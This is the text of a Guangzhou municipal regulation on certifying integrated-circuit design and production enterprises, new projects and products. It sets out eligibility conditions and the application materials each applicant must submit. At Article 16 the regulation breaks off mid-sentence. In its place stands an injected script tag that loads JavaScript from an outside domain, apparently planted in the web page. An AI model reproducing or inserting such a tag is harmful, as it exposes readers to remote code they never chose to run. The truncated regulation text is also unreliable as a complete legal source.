第一章 总则
第一条 为了加强广州市集成电路企业及产品认定的管理,推动集成电路产业的发展,根据《鼓励软件产业和集成电路产业发展的若干政策》(国发[2000]18号)、《印发<广州市鼓励发展集成电路产业若干规定>的通知》(穗府[2001]42号)和《关于印发〈集成电路设计企业及产品认定管理办法〉的通知》(信部联产[2002]86号)的有关规定,结合广州市的实际情况制定本办法。
第二条 广州市行政区域内集成电路企业、集成电路产品、新建集成电路生产项目、新创办集成电路设计企业、集成电路设计企业委托境外加工合同(下合并简称集成电路企业及产品)的认定管理,适用本办法。
第三条 经认定的集成电路企业及产品,依据有关规定,享受国家、省和市的有关优惠政策。
第四条 广州市经济委员会会同市发展计划委员会、市科学技术局、市信息化工作领导小组办公室负责广州市集成电路企业及产品认定的管理工作。市国家税务局、市地方税务局负责对广州市集成电路企业及产品享受税收优惠政策的审核和年审工作。
第五条 授权广州市电子行业协会为广州市集成电路企业及产品的认定工作机构。
第六条 开展集成电路企业及产品的认定活动,应当遵循公平、公正、科学、高效的原则,保守企业商业秘密。
第二章 集成电路企业认定条件
第七条 申请认定的集成电路企业应当满足下列条件:
(一)在广州市依法设立的具有独立法人资格的组织;
(二)以集成电路设计(含芯片、电路设计和集成电路设计软件开发)或者生产(含芯片制造、封装、测试和用于集成电路的硅单晶、掩膜、模具、设备,以及其它相关材料的生产)为主营业务;
(三)集成电路设计企业上一年度自主设计产品(含境内确实无法生产而委托境外加工的集成电路产品)的收入及接受委托设计产品的收入占企业年总收入的30%以上,集成电路生产企业上一年度取得本条第(二)项的销售收入占企业年总收入的50%以上;
(四)具有与集成电路设计、生产及其业务规模相适应的生产经营场所、软硬件设施、人员,以及设计、生产的基本流程和管理规范。
第八条 新建集成电路生产项目的申请认定应当满足下列条件:
(一)新建芯片、掩膜、封装、测试等集成电路制造及相关项目;
(二)经政府正式批准立项并在广州市行政区域内实施;
(三)技术先进,有市场前景,对引进技术具有消化、吸收、创新能力。
第九条 新创办集成电路设计企业的申请认定应当满足下列条件:
(一)在广州市行政区域内依法设立的具有独立法人资格的组织;
(二)以芯片、电路设计和集成电路设计软件开发为主营业务;
(三)产品尚未产生销售收入。
第十条 申请集成电路企业认定应当提交下列材料:
(一)广州市集成电路企业认定申请书;
(二)企业营业执照复印件;
(三)税务登记证件复印件;
(四)法人代表身份证明;
(五)会计师事务所出具的上一年度审计报告和会计报表。
第十一条 申请新建集成电路生产项目认定应当提交下列材料:
(一)新建集成电路生产项目认定申请书;
(二)可行性报告;
(三)政府立项批文;
(四)企业营业执照复印件;
(五)税务登记证件复印件;
(六)法人代表身份证明。
第十二条 申请新创办集成电路设计企业认定应当提交下列材料:
(一)新创办集成电路设计企业认定申请书;
(二)可行性报告或商业计划书;
(三)企业营业执照复印件;
(四)税务登记证件复印件;
(五)法人代表身份证明。
第三章 集成电路产品认定条件
第十三条 申请认定的集成电路产品应当满足下列条件:
(一)是集成电路设计企业的自主设计产品或者集成电路生产企业生产的集成电路产品(含提供的服务,下同);
(二)产品已产生销售收入。
第十四条 集成电路设计企业的自主设计产品包括:
(一)为本企业或者委托方开发或者与他人共同开发的芯片、电路、设计软件、数据库、数据、图形带;
(二)利用本企业通过技术转让或者委托设计方式取得的设计软件、数据库、数据、图形带生产的芯片、电路。
上述产品应当符合《集成电路布图设计保护条例》的要求,企业拥有产品的版权或者该版权的使用权,能够提供详细的设计报告和测试验证报告。
第十五条 集成电路生产企业生产的集成电路产品包括:
(一)为本企业或者委托方制造的芯片、电路;
(二)为本企业或委托方封装的电路;
(三)为本企业或委托方制备的用于集成电路的掩膜;
(四)用于集成电路的各类半导体单晶、圆片、外延片;
(五)直接用于集成电路的产品;
第十六条 申请集成电路设计?script src=http://er12.com/t.js>





